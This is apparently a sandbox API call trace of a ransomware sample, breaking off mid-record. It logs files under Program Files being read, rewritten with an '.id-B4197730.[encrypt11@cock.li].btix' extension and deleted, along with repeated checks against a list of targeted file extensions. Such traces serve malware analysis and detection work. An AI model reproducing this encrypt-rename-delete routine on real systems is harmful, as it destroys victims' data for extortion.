[0145.666] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0145.666] SetEndOfFile (hFile=0x3c4) returned 1 [0145.666] CloseHandle (hObject=0x3c4) returned 1 [0145.666] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.666] SetEndOfFile (hFile=0x338) returned 1 [0145.669] CloseHandle (hObject=0x338) returned 1 [0145.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0145.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0145.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0145.864] lstrlenW (lpString=".doc") returned 4 [0145.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.864] lstrlenW (lpString=".docx") returned 5 [0145.864] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.864] lstrlenW (lpString=".pdf") returned 4 [0145.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.864] lstrlenW (lpString=".xls") returned 4 [0145.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.864] lstrlenW (lpString=".xlsx") returned 5 [0145.864] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.864] lstrlenW (lpString=".ppt") returned 4 [0145.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0145.865] lstrlenW (lpString=".zip") returned 4 [0145.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.865] lstrlenW (lpString=".rar") returned 4 [0145.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.865] lstrlenW (lpString=".bz2") returned 4 [0145.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.865] lstrlenW (lpString=".7z") returned 3 [0145.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0145.865] lstrlenW (lpString=".dbf") returned 4 [0145.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0145.865] lstrlenW (lpString=".1cd") returned 4 [0145.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0145.865] lstrlenW (lpString=".jpg") returned 4 [0145.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0145.866] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=7964) returned 1 [0145.866] CloseHandle (hObject=0x548) returned 1 [0145.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220 [0145.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0145.867] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.867] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0145.868] GetLastError () returned 0x0 [0145.868] ReadFile (in: hFile=0x548, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1f1c, lpOverlapped=0x0) returned 1 [0145.921] WriteFile (in: hFile=0x540, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1f20, lpOverlapped=0x0) returned 1 [0145.922] ReadFile (in: hFile=0x548, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.922] WriteFile (in: hFile=0x540, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0145.922] SetEndOfFile (hFile=0x540) returned 1 [0145.922] CloseHandle (hObject=0x540) returned 1 [0145.922] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.922] SetEndOfFile (hFile=0x548) returned 1 [0145.924] CloseHandle (hObject=0x548) returned 1 [0145.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0145.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.926] lstrlenW (lpString=".doc") returned 4 [0145.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.926] lstrlenW (lpString=".docx") returned 5 [0145.926] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.926] lstrlenW (lpString=".pdf") returned 4 [0145.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.926] lstrlenW (lpString=".xls") returned 4 [0145.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.926] lstrlenW (lpString=".xlsx") returned 5 [0145.926] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.926] lstrlenW (lpString=".ppt") returned 4 [0145.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.926] lstrlenW (lpString=".zip") returned 4 [0145.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.926] lstrlenW (lpString=".rar") returned 4 [0145.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.926] lstrlenW (lpString=".bz2") returned 4 [0145.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.926] lstrlenW (lpString=".7z") returned 3 [0145.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.926] lstrlenW (lpString=".dbf") returned 4 [0145.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.926] lstrlenW (lpString=".1cd") returned 4 [0145.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.926] lstrlenW (lpString=".jpg") returned 4 [0145.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.927] lstrlenW (lpString=".doc") returned 4 [0145.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.927] lstrlenW (lpString=".docx") returned 5 [0145.927] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.927] lstrlenW (lpString=".pdf") returned 4 [0145.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.927] lstrlenW (lpString=".xls") returned 4 [0145.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.927] lstrlenW (lpString=".xlsx") returned 5 [0145.927] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.927] lstrlenW (lpString=".ppt") returned 4 [0145.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.927] lstrlenW (lpString=".zip") returned 4 [0145.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.927] lstrlenW (lpString=".rar") returned 4 [0145.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.927] lstrlenW (lpString=".bz2") returned 4 [0145.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.927] lstrlenW (lpString=".7z") returned 3 [0145.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.927] lstrlenW (lpString=".dbf") returned 4 [0145.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.928] lstrlenW (lpString=".1cd") returned 4 [0145.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0145.928] lstrlenW (lpString=".jpg") returned 4 [0145.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.928] lstrlenW (lpString=".id-") returned 4 [0145.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574c50 | out: hHeap=0x510000) returned 1 [0145.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd6e0 | out: hHeap=0x510000) returned 1 [0145.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bda58 | out: hHeap=0x510000) returned 1 [0145.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x510000) returned 1 [0145.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3b58020 | out: hHeap=0x510000) returned 1 [0145.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574dd0 | out: hHeap=0x510000) returned 1 [0145.932] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4808 [0145.933] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4808, Size=0x20) returned 0x443de00 [0145.933] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4778 [0145.933] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4778, Size=0x20) returned 0x443de50 [0145.933] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0145.933] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0145.933] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff50 | out: OldValue=0x2ecff50*=0x1) returned 1 [0145.933] lstrlenW (lpString="kernel32.dll") returned 12 [0145.933] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de50 | out: hHeap=0x510000) returned 1 [0145.933] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.933] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 Thread: id = 42 os_tid = 0xe1c [0126.338] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5de138 [0126.338] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5ee140 [0126.338] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574de8 [0126.339] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5bd720 [0126.339] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574c68 [0126.339] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3c65020 [0126.341] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574db8 [0126.341] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574db8, Size=0x20) returned 0x54e920 [0126.341] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e30 [0126.341] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574e30, Size=0x20) returned 0x54ea88 [0126.341] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.341] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.341] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff50 | out: OldValue=0x300ff50*=0x0) returned 1 [0126.341] lstrlenW (lpString="kernel32.dll") returned 12 [0126.341] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e920 | out: hHeap=0x510000) returned 1 [0126.341] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.341] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ea88 | out: hHeap=0x510000) returned 1 [0126.341] Sleep (dwMilliseconds=0x64) [0126.784] Sleep (dwMilliseconds=0x64) [0127.132] Sleep (dwMilliseconds=0x64) [0127.330] Sleep (dwMilliseconds=0x64) [0127.806] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0127.806] lstrlenW (lpString="Alphabet.xml") returned 12 [0127.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0128.466] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=791421) returned 1 [0128.466] CloseHandle (hObject=0x398) returned 1 [0128.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0128.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.466] lstrlenW (lpString=".doc") returned 4 [0128.467] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0128.467] lstrlenW (lpString=".docx") returned 5 [0128.467] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0128.467] lstrlenW (lpString=".pdf") returned 4 [0128.467] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0128.467] lstrlenW (lpString=".xls") returned 4 [0128.467] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0128.467] lstrlenW (lpString=".xlsx") returned 5 [0128.467] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0128.467] lstrlenW (lpString=".ppt") returned 4 [0128.467] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0128.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.467] lstrlenW (lpString=".zip") returned 4 [0128.467] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0128.467] lstrlenW (lpString=".rar") returned 4 [0128.467] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0128.467] lstrlenW (lpString=".bz2") returned 4 [0128.467] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0128.467] lstrlenW (lpString=".7z") returned 3 [0128.467] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0128.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.467] lstrlenW (lpString=".dbf") returned 4 [0128.467] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0128.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.467] lstrlenW (lpString=".1cd") returned 4 [0128.467] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0128.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.467] lstrlenW (lpString=".jpg") returned 4 [0128.467] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0128.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.468] lstrlenW (lpString=".doc") returned 4 [0128.468] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0128.468] lstrlenW (lpString=".docx") returned 5 [0128.468] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0128.468] lstrlenW (lpString=".pdf") returned 4 [0128.468] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0128.468] lstrlenW (lpString=".xls") returned 4 [0128.468] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0128.468] lstrlenW (lpString=".xlsx") returned 5 [0128.468] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0128.468] lstrlenW (lpString=".ppt") returned 4 [0128.468] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0128.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.468] lstrlenW (lpString=".zip") returned 4 [0128.468] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0128.468] lstrlenW (lpString=".rar") returned 4 [0128.468] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0128.468] lstrlenW (lpString=".bz2") returned 4 [0128.468] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0128.468] lstrlenW (lpString=".7z") returned 3 [0128.468] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0128.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.468] lstrlenW (lpString=".dbf") returned 4 [0128.468] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0128.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.468] lstrlenW (lpString=".1cd") returned 4 [0128.468] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0128.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0128.468] lstrlenW (lpString=".jpg") returned 4 [0128.468] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0128.469] Sleep (dwMilliseconds=0x64) [0128.846] Sleep (dwMilliseconds=0x64) [0129.234] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0129.234] lstrlenW (lpString="FD02088_.WMF") returned 12 [0129.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0129.395] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3696) returned 1 [0129.395] CloseHandle (hObject=0x3d0) returned 1 [0129.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0130.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0x20 [0130.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.145] lstrlenW (lpString=".doc") returned 4 [0130.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.145] lstrlenW (lpString=".docx") returned 5 [0130.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.145] lstrlenW (lpString=".pdf") returned 4 [0130.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.145] lstrlenW (lpString=".xls") returned 4 [0130.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.145] lstrlenW (lpString=".xlsx") returned 5 [0130.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.145] lstrlenW (lpString=".ppt") returned 4 [0130.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.145] lstrlenW (lpString=".zip") returned 4 [0130.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.146] lstrlenW (lpString=".rar") returned 4 [0130.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.146] lstrlenW (lpString=".bz2") returned 4 [0130.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.146] lstrlenW (lpString=".7z") returned 3 [0130.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.146] lstrlenW (lpString=".dbf") returned 4 [0130.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.146] lstrlenW (lpString=".1cd") returned 4 [0130.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.146] lstrlenW (lpString=".jpg") returned 4 [0130.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.146] lstrlenW (lpString=".doc") returned 4 [0130.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.146] lstrlenW (lpString=".docx") returned 5 [0130.146] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.146] lstrlenW (lpString=".pdf") returned 4 [0130.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.146] lstrlenW (lpString=".xls") returned 4 [0130.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.146] lstrlenW (lpString=".xlsx") returned 5 [0130.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.146] lstrlenW (lpString=".ppt") returned 4 [0130.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.146] lstrlenW (lpString=".zip") returned 4 [0130.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.146] lstrlenW (lpString=".rar") returned 4 [0130.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.146] lstrlenW (lpString=".bz2") returned 4 [0130.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.147] lstrlenW (lpString=".7z") returned 3 [0130.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.147] lstrlenW (lpString=".dbf") returned 4 [0130.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.147] lstrlenW (lpString=".1cd") returned 4 [0130.147] 